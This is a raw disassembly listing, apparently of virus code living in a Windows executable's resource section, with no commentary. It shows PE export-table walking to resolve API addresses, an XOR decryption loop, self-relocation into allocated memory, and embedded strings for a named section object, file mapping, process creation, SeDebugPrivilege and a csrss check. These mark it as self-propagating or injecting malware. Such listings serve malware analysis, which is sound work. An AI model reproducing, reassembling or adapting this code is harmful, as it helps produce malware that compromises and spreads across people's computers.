		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_43208A
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_4320AC:				; CODE XREF: .rsrc:loc_4320C0j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_4320C0
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_4320C5


loc_4320C0:				; CODE XREF: .rsrc:004320B5j
		loop	loc_4320AC
		pop	ecx
		jmp	short loc_4320F0
; ---------------------------------------------------------------------------


loc_4320C5:				; CODE XREF: .rsrc:004320BEj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_432137
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43217E


loc_4320F0:				; CODE XREF: .rsrc:004320C3j
					; sub_43217E+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_43211C
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_43211C:				; CODE XREF: sub_43217E-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43217E
; ---------------------------------------------------------------------------
		dw 7E0h

; =============== S U B	R O U T	I N E =======================================



sub_432120	proc near		; CODE XREF: sub_43445B+2DFp
		push	ebx
		mov	ecx, 2889h
		mov	ebx, edx


loc_432128:				; CODE XREF: sub_432120+13j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_432128
		pop	ebx
		retn
sub_432120	endp

; ---------------------------------------------------------------------------


loc_432137:				; CODE XREF: .rsrc:004320EEj
		call	near ptr loc_432146+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_4321A3+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_432146:				; CODE XREF: .rsrc:loc_432137p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_432162+1
		inc	ebx
		jb	short loc_4321BE
		popa
		jz	short near ptr loc_4321C0+1
		inc	ebp
		jbe	short near ptr loc_4321C0+4
		outsb
		jz	short loc_4321A3


loc_432162:				; CODE XREF: .rsrc:00432151p
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_43217E
		inc	edi
		db	65h
		jz	short near ptr loc_4321C0+1
		popa
		jnb	short near ptr loc_4321EA+2
		inc	ebp
		jb	short near ptr loc_4321EA+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_43217E	proc near		; CODE XREF: .rsrc:0043216Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004320F0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00432534 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_43255F
		test	eax, eax
		jz	loc_4320F0
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_432534


loc_4321A3:				; CODE XREF: .rsrc:00432160j
					; .rsrc:0043213Fj
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_4321C0
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_4321BE:				; CODE XREF: .rsrc:00432157j
		jmp	short loc_4321C7
; ---------------------------------------------------------------------------


loc_4321C0:				; CODE XREF: sub_43217E+2Cj
					; .rsrc:0043215Aj ...
		and	dword ptr [ebp+101598h], 0


loc_4321C7:				; CODE XREF: sub_43217E:loc_4321BEj
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_4321EA:				; CODE XREF: .rsrc:00432176j
					; .rsrc:00432179j
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_43259C
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_4322E3
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_432534
		xchg	eax, edi
		lea	esi, [ebp+101000h]
		mov	ebp, edi
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_432534
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_432534
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_4322D3
		jmp	loc_432534
; ---------------------------------------------------------------------------


loc_4322D3:				; CODE XREF: sub_43217E+14Bp
					; sub_43217E+162j
		push	0
		pop	ecx
		jecxz	short locret_4322E2
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_4322D3
; ---------------------------------------------------------------------------

locret_4322E2:				; CODE XREF: sub_43217E+158j
		retn
; ---------------------------------------------------------------------------


loc_4322E3:				; CODE XREF: sub_43217E+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_432534
		call	near ptr loc_4322FA+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_4322FA:				; CODE XREF: sub_43217E+172p
		add	bh, bh
sub_43217E	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_43259C
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_432534
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_432534
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_432383
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_432383
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_432383:				; CODE XREF: .rsrc:00432367j
					; .rsrc:00432378j
		call	sub_432540
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_4323CC:				; CODE XREF: .rsrc:004323D5j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_4323CC
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_432534
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		dw 5450h
		dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0E8570065h
		dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh,	6295FF57h, 6A00103Eh
		dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h
		dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h
		dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h
		dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh,	33000005h
		dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h
		dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh
		dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h
		dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h
		dd 103E62h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43217E


loc_432534:				; CODE XREF: sub_43217E+1Fj
					; sub_43217E+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_4320F0
; END OF FUNCTION CHUNK	FOR sub_43217E
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: .rsrc:loc_432383p
					; sub_43255F+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_432540	endp

; ---------------------------------------------------------------------------
aVx_4_0		db 'Vx_4',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43255F	proc near		; CODE XREF: sub_43217E+9p
		xor	ecx, ecx
		call	sub_432540
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_43255F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 585858h, 3328h, 0E73h, 1, 2 dup(0)
		dd 29C0h, 0

; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_43217E+7Cp
					; .rsrc:00432312p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_4325A7:				; CODE XREF: sub_43259C+Ej
		lodsb
		test	al, al
		jnz	short loc_4325A7
		loop	sub_43259C
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325AF	proc near		; CODE XREF: sub_43412D+25p

; FUNCTION CHUNK AT 00432639 SIZE 000003C0 BYTES
; FUNCTION CHUNK AT 00432A09 SIZE 00000027 BYTES

		lea	edx, [ebp+101985h]
		push	edx
		call	dword ptr [ebp+103EC6h]
		mov	[ebp+104288h], eax
		call	near ptr loc_4325DC+1
		dec	esp
		outsd
		outsd
		imul	esi, [ebp+70h],	50h
		jb	short loc_432639
		jbe	short near ptr loc_432639+2
		insb
		db	65h, 67h, 65h
		push	esi
		popa
		insb
		jnz	short loc_432640
		inc	ecx


loc_4325DC:				; CODE XREF: sub_4325AF+13p
		add	[eax-1], dl
sub_4325AF	endp ; sp-analysis failed

		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		mov	[ebp+10428Ch], eax
		retn
; ---------------------------------------------------------------------------
		db  5Ch	; \
		db  42h	; B
		db  61h	; a
		db  73h	; s
		db  65h	; e
		db  4Eh	; N
		db  61h	; a
		db  6Dh	; m
		db  65h	; e
		db  64h	; d
		db  4Fh	; O
		db  62h	; b
		db  6Ah	; j
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db  73h	; s
		db  5Ch	; \
		db  56h	; V
		db  74h	; t
		db  53h	; S
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db    0
		db  6Ch	; l
		db  73h	; s
		db  74h	; t
		db  72h	; r
		db  6Ch	; l
		db  65h	; e
		db  6Eh	; n
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  4Dh	; M
		db  61h	; a
		db  70h	; p
		db  70h	; p
		db  69h	; i
		db  6Eh	; n
		db  67h	; g
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  6Fh	; o
		db  63h	; c
		db  65h	; e
		db  73h	; s
		db  73h	; s
		db  41h	; A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4325AF


loc_432639:				; CODE XREF: sub_4325AF+1Fj
					; sub_4325AF+21j
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_4326A3+2


loc_432640:				; CODE XREF: sub_4325AF+2Aj
		push	edx
		db	65h
		insd
		outsd
		jz	short loc_4326AB
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_4326B6+2
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_4326C2+3
		push	esp
		outsd
		outsd
		insb
		push	33706C65h
		xor	dl, [ebx+6Eh]
		popa
		jo	short near ptr loc_4326E1+1
		push	4500746Fh
		js	short loc_4326DF
		jz	short near ptr loc_4326CB+1
		push	64616572h
		add	[esi+69h], al
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	79536F54h
		jnb	short loc_432700
		db	65h
		insd
		push	esp
		imul	ebp, [ebp+65h],	65724600h
		db	65h
		dec	esp
		imul	esp, [edx+72h],	797261h
		inc	edi
		db	65h
		jz	short near ptr loc_4326E3+6


loc_4326A3:				; CODE XREF: sub_4325AF+8Fj
		imul	ebp, [ebp+41h],	69727474h


loc_4326AB:				; CODE XREF: sub_4325AF+95j
		bound	esi, [ebp+74h]
		db	65h
		jnb	short loc_4326F2
		add	[edi+65h], al
		jz	short near ptr loc_4326FB+1


loc_4326B6:				; CODE XREF: sub_4325AF+A2j
		imul	ebp, [ebp+53h],	657A69h
		inc	edi
		db	65h
		jz	short loc_432708


loc_4326C2:				; CODE XREF: sub_4325AF+AFj
		imul	ebp, [ebp+54h],	656D69h
		inc	edi


loc_4326CB:				; CODE XREF: sub_4325AF+C7j
		db	65h
		jz	short near ptr loc_43271A+1
		outsd
		db	64h
		jnz	short near ptr loc_432739+5
		db	65h
		dec	eax
		popa
		outsb
		db	64h
		insb
		db	65h
		inc	ecx
		add	[edi+65h], al
		jz	short near ptr loc_43272D+6


loc_4326DF:				; CODE XREF: sub_4325AF+C5j
		db	65h
		insd


loc_4326E1:				; CODE XREF: sub_4325AF+BEj
		jo	short near ptr loc_432727+2


loc_4326E3:				; CODE XREF: sub_4325AF+F1j
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[edi+65h], al
		jz	short near ptr loc_432741+3
		db	65h
		insd


loc_4326F2:				; CODE XREF: sub_4325AF+FFj
		jo	short near ptr loc_432741+3
		popa
		jz	short near ptr loc_43275E+1
		inc	ecx
		add	[edi+65h], al


loc_4326FB:				; CODE XREF: sub_4325AF+105j
		jz	short loc_432753
		db	65h
		jb	short near ptr loc_432772+1


loc_432700:				; CODE XREF: sub_4325AF+DBj
		imul	ebp, [edi+6Eh],	74654700h
		push	esi


loc_432708:				; CODE XREF: sub_4325AF+110j
		db	65h
		jb	short near ptr loc_43277C+2
		imul	ebp, [edi+6Eh],	417845h
		inc	edi
		db	65h
		jz	short near ptr loc_43276B+1
		outsd
		insb
		jnz	short near ptr loc_432781+6


loc_43271A:				; CODE XREF: sub_4325AF:loc_4326CBj
		db	65h
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_43278C+2
		popa
		jz	short near ptr loc_43278C+1
		outsd
		outsb
		inc	ecx


loc_432727:				; CODE XREF: sub_4325AF:loc_4326E1j
		add	[edi+ebp*2+61h], cl
		db	64h
		dec	esp


loc_43272D:				; CODE XREF: sub_4325AF+12Ej
		imul	esp, [edx+72h],	41797261h
		add	[ebp+61h], cl
		jo	short loc_43278F


loc_432739:				; CODE XREF: sub_4325AF+120j
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_432741:				; CODE XREF: sub_4325AF+13Fj
					; sub_4325AF:loc_4326F2j
		add	gs:[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		inc	esi
		imul	ebp, [ebp+4Dh],	69707061h
		outsb
		db	67h
		inc	ecx


loc_432753:				; CODE XREF: sub_4325AF:loc_4326FBj
		add	[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short near ptr loc_4327C9+1
		arpl	[ebp+73h], sp


loc_43275E:				; CODE XREF: sub_4325AF+146j
		jnb	short $+2
		push	eax
		jb	short loc_4327D2
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_432794+7
		xor	al, [esi+69h]


loc_43276B:				; CODE XREF: sub_4325AF+164j
		jb	short near ptr loc_4327DA+6
		jz	short $+2
		push	eax
		jb	short near ptr loc_4327DA+7


loc_432772:				; CODE XREF: sub_4325AF+14Ej
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_4327A9+1
		xor	cl, [esi+65h]
		js	short near ptr loc_4327EC+4


loc_43277C:				; CODE XREF: sub_4325AF:loc_432708j
		add	[ebx+65h], dl
		jz	short near ptr loc_4327C5+2


loc_432781:				; CODE XREF: sub_4325AF+169j
		imul	ebp, [ebp+41h],	69727474h
		bound	esi, [ebp+74h]


loc_43278C:				; CODE XREF: sub_4325AF+173j
					; sub_4325AF+170j
		db	65h
		jnb	short loc_4327D0


loc_43278F:				; CODE XREF: sub_4325AF+188j
		add	[ebx+65h], dl
		jz	short loc_4327DA


loc_432794:				; CODE XREF: sub_4325AF+1B7j
		imul	ebp, [ebp+54h],	656D69h
		push	ebx
		insb
		db	65h, 65h
		jo	short $+4
		push	ebx
		jns	short loc_432818
		jz	short loc_43280C
		insd
		push	esp


loc_4327A9:				; CODE XREF: sub_4325AF+1C6j
		imul	ebp, [ebp+65h],	69466F54h
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	6D6E5500h
		popa
		jo	short loc_432813
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_4327C5:				; CODE XREF: sub_4325AF+1D0j
		add	gs:[esi+69h], dl


loc_4327C9:				; CODE XREF: sub_4325AF+1AAj
		jb	short near ptr loc_43283E+1
		jnz	short loc_43282E
		insb
		inc	ecx
		insb


loc_4327D0:				; CODE XREF: sub_4325AF:loc_43278Cj
		insb
		outsd


loc_4327D2:				; CODE XREF: sub_4325AF+1B2j
		arpl	[eax], ax
		push	edi
		jb	short loc_432840
		jz	short loc_43283E
		inc	esi


loc_4327DA:				; CODE XREF: sub_4325AF+1E3j
					; sub_4325AF:loc_43276Bj ...
		imul	ebp, [ebp+0], 6441744Eh
		push	75h
		jnb	short loc_43285A
		push	eax
		jb	short near ptr loc_43284F+3
		jbe	short near ptr loc_43284F+5
		insb


loc_4327EC:				; CODE XREF: sub_4325AF+1CBj
		db	65h, 67h, 65h
		jnb	near ptr 2845h
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_43283B+1
		jb	short near ptr loc_43285F+1
		popa
		jz	short loc_432863
		inc	esi
		imul	ebp, [ebp+0], 7243744Eh
		db	65h
		popa
		jz	short loc_432870
		push	eax


loc_43280C:				; CODE XREF: sub_4325AF+1F6j
		jb	short loc_43287D
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_432813:				; CODE XREF: sub_4325AF+20Cj
		dec	esi
		jz	short near ptr loc_432856+3
		jb	short loc_43287D


loc_432818:				; CODE XREF: sub_4325AF+1F4j
		popa
		jz	short loc_432880
		push	eax
		jb	short loc_43288D
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_432863+5
		js	short $+2
		dec	esi
		jz	short loc_43286B
		jb	short loc_43288F
		popa
		jz	short near ptr loc_43288F+3
		push	ebx


loc_43282E:				; CODE XREF: sub_4325AF+21Cj
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		inc	ebx
		jb	short near ptr loc_43289E+1
		popa


loc_43283B:				; CODE XREF: sub_4325AF+248j
		jz	short loc_4328A2
		push	ebp


loc_43283E:				; CODE XREF: sub_4325AF+228j
					; sub_4325AF:loc_4327C9j
		jnb	short near ptr loc_4328A4+1


loc_432840:				; CODE XREF: sub_4325AF+226j
		jb	short near ptr loc_43288F+3
		jb	short loc_4328B3
		arpl	[ebp+73h], sp
		jnb	short $+2
		dec	esi
		jz	short loc_432899
		popa
		jo	short near ptr loc_4328A4+1


loc_43284F:				; CODE XREF: sub_4325AF+238j
					; sub_4325AF+23Aj
		imul	esp, [ebp+77h],	6553664Fh


loc_432856:				; CODE XREF: sub_4325AF+265j
		arpl	[ecx+ebp*2+6Fh], si


loc_43285A:				; CODE XREF: sub_4325AF+235j
		outsb
		add	[esi+74h], cl
		dec	edi


loc_43285F:				; CODE XREF: sub_4325AF+24Aj
		jo	short loc_4328C6
		outsb
		inc	esi


loc_432863:				; CODE XREF: sub_4325AF+24Dj
					; sub_4325AF+272j
		imul	ebp, [ebp+0], 704F744Eh


loc_43286B:				; CODE XREF: sub_4325AF+277j
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short loc_4328DF


loc_432870:				; CODE XREF: sub_4325AF+25Aj
		arpl	[ebp+73h], sp
		jnb	short loc_4328C9
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_4328CB+1


loc_43287D:				; CODE XREF: sub_4325AF:loc_43280Cj
					; sub_4325AF+267j
		jo	short near ptr loc_4328E3+1
		outsb


loc_432880:				; CODE XREF: sub_4325AF+26Aj
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		push	eax
		jb	short near ptr loc_4328FB+1


loc_43288D:				; CODE XREF: sub_4325AF+26Dj
		jz	short near ptr loc_4328F3+1


loc_43288F:				; CODE XREF: sub_4325AF+279j
					; sub_4325AF+27Cj ...
		arpl	[esi+edx*2+69h], si
		jb	short loc_432909
		jnz	short near ptr loc_4328F7+1
		insb
		dec	ebp


loc_432899:				; CODE XREF: sub_4325AF+29Bj
		db	65h
		insd
		outsd
		jb	short near ptr loc_432914+3


loc_43289E:				; CODE XREF: sub_4325AF+289j
		add	[esi+74h], cl
		push	ecx


loc_4328A2:				; CODE XREF: sub_4325AF:loc_43283Bj
		jnz	short loc_432909


loc_4328A4:				; CODE XREF: sub_4325AF:loc_43283Ej
					; sub_4325AF+29Ej
		jb	short near ptr loc_43291E+1
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_432918+1
		popa
		jz	short loc_432918
		outsd
		outsb
		push	esp
		outsd


loc_4328B3:				; CODE XREF: sub_4325AF+293j
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_43290F+2
		jb	short loc_432925
		jz	short near ptr loc_432922+1
		push	esi
		imul	esi, [edx+74h],	4D6C6175h


loc_4328C6:				; CODE XREF: sub_4325AF:loc_43285Fj
		db	65h
		insd
		outsd


loc_4328C9:				; CODE XREF: sub_4325AF+2C4j
		jb	short loc_432944


loc_4328CB:				; CODE XREF: sub_4325AF+2CCj
		add	[edx+74h], dl
		insb
		push	ebp
		outsb
		imul	esp, [ebx+6Fh],	74536564h
		jb	short near ptr loc_432941+2
		outsb
		db	67h
		push	esp
		outsd
		inc	ecx


loc_4328DF:				; CODE XREF: sub_4325AF+2BFj
		outsb
		jnb	short near ptr loc_43294A+1
		push	ebx


loc_4328E3:				; CODE XREF: sub_4325AF:loc_43287Dj
		jz	short loc_432957
		imul	ebp, [esi+67h],	41535700h
		push	ebx
		jz	short loc_432950
		jb	short loc_432965
		jnz	short near ptr loc_432962+1


loc_4328F3:				; CODE XREF: sub_4325AF:loc_43288Dj
		add	[ebx+6Ch], ah
		outsd


loc_4328F7:				; CODE XREF: sub_4325AF+2E6j
		jnb	short loc_43295E
		jnb	short near ptr loc_432969+1


loc_4328FB:				; CODE XREF: sub_4325AF+2DCj
		arpl	[ebx+65h], bp
		jz	short $+2
		arpl	[edi+6Eh], bp
		outsb
		arpl	gs:[eax+eax+67h], si


loc_432909:				; CODE XREF: sub_4325AF+2E4j
					; sub_4325AF:loc_4328A2j
		db	65h
		jz	short near ptr loc_432973+1
		outsd
		jnb	short near ptr loc_432981+2


loc_43290F:				; CODE XREF: sub_4325AF+309j
		bound	edi, [ecx+6Eh]
		popa
		insd


loc_432914:				; CODE XREF: sub_4325AF+2EDj
		add	gs:[edx+65h], dh


loc_432918:				; CODE XREF: sub_4325AF+2FEj
					; sub_4325AF+2FBj
		arpl	[esi+0], si
		jnb	short near ptr loc_432981+1
		outsb


loc_43291E:				; CODE XREF: sub_4325AF:loc_4328A4j
		add	fs:[ebx+6Fh], dh


loc_432922:				; CODE XREF: sub_4325AF+30Dj
		arpl	[ebx+65h], bp


loc_432925:				; CODE XREF: sub_4325AF+30Bj
		jz	short $+2
		dec	ecx
		outsb
		jz	short loc_432990
		jb	short loc_43299B
		db	65h
		jz	short loc_432973
		insb
		outsd
		jnb	short near ptr loc_432998+1
		dec	eax
		popa
		outsb
		db	64h
		insb
		add	gs:[ecx+6Eh], cl
		jz	short loc_4329A4
		jb	short near ptr loc_4329AE+1


loc_432941:				; CODE XREF: sub_4325AF+329j
		db	65h
		jz	short loc_43298B


loc_432944:				; CODE XREF: sub_4325AF:loc_4328C9j
		db	65h
		jz	short loc_43298A
		outsd
		outsb
		outsb


loc_43294A:				; CODE XREF: sub_4325AF+331j
		arpl	gs:[ebp+64h], si
		push	ebx


loc_432950:				; CODE XREF: sub_4325AF+33Ej
		jz	short near ptr loc_4329B2+1
		jz	short loc_4329B9
		add	[ecx+6Eh], cl


loc_432957:				; CODE XREF: sub_4325AF:loc_4328E3j
		jz	short near ptr loc_4329BC+2
		jb	short loc_4329C9
		db	65h
		jz	short near ptr loc_4329AB+2


loc_43295E:				; CODE XREF: sub_4325AF:loc_4328F7j
		jo	short loc_4329C5
		outsb
		inc	ecx


loc_432962:				; CODE XREF: sub_4325AF+342j
		add	[ecx+6Eh], cl


loc_432965:				; CODE XREF: sub_4325AF+340j
		jz	short near ptr loc_4329CB+1
		jb	short loc_4329D7


loc_432969:				; CODE XREF: sub_4325AF+34Aj
		db	65h
		jz	short near ptr loc_4329BA+1
		jo	short loc_4329D3
		outsb
		push	ebp
		jb	short near ptr loc_4329DC+2
		inc	ecx


loc_432973:				; CODE XREF: sub_4325AF+37Ej
					; sub_4325AF:loc_432909j
		add	[ecx+6Eh], cl
		jz	short near ptr loc_4329DC+1
		jb	short loc_4329E8
		db	65h
		jz	short near ptr loc_4329CE+1
		db	65h
		popa
		db	64h
		inc	esi


loc_432981:				; CODE XREF: sub_4325AF+36Cj
					; sub_4325AF+35Ej
		imul	ebp, [ebp+0], 41564441h
		push	eax


loc_43298A:				; CODE XREF: sub_4325AF:loc_432944j
		dec	ecx


loc_43298B:				; CODE XREF: sub_4325AF:loc_432941j
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp


loc_432990:				; CODE XREF: sub_4325AF+37Aj
		dec	esp
		add	[edx+65h], dl
		db	67h
		inc	ebx
		insb
		outsd


loc_432998:				; CODE XREF: sub_4325AF+383j
		jnb	short near ptr loc_4329FD+2
		dec	ebx


loc_43299B:				; CODE XREF: sub_4325AF+37Cj
		db	65h
		jns	short $+3
		push	edx
		db	65h, 67h
		dec	edi
		jo	short loc_432A09


loc_4329A4:				; CODE XREF: sub_4325AF+38Ej
		outsb
		dec	ebx
		db	65h
		jns	short near ptr loc_4329EC+2
		js	short loc_4329EC


loc_4329AB:				; CODE XREF: sub_4325AF+3ACj
		add	[edx+65h], dl


loc_4329AE:				; CODE XREF: sub_4325AF+390j
		db	67h
		push	ecx
		jnz	short loc_432A17


loc_4329B2:				; CODE XREF: sub_4325AF:loc_432950j
		jb	short near ptr loc_432A2C+1
		push	esi
		popa
		insb
		jnz	short near ptr loc_432A1D+1


loc_4329B9:				; CODE XREF: sub_4325AF+3A3j
		inc	ebp


loc_4329BA:				; CODE XREF: sub_4325AF:loc_432969j
		js	short loc_4329FD


loc_4329BC:				; CODE XREF: sub_4325AF:loc_432957j
		add	[edx+65h], dl
		db	67h
		push	ebx
		db	65h
		jz	short loc_432A1A
		popa


loc_4329C5:				; CODE XREF: sub_4325AF:loc_43295Ej
		insb
		jnz	short near ptr loc_432A2C+1
		inc	ebp
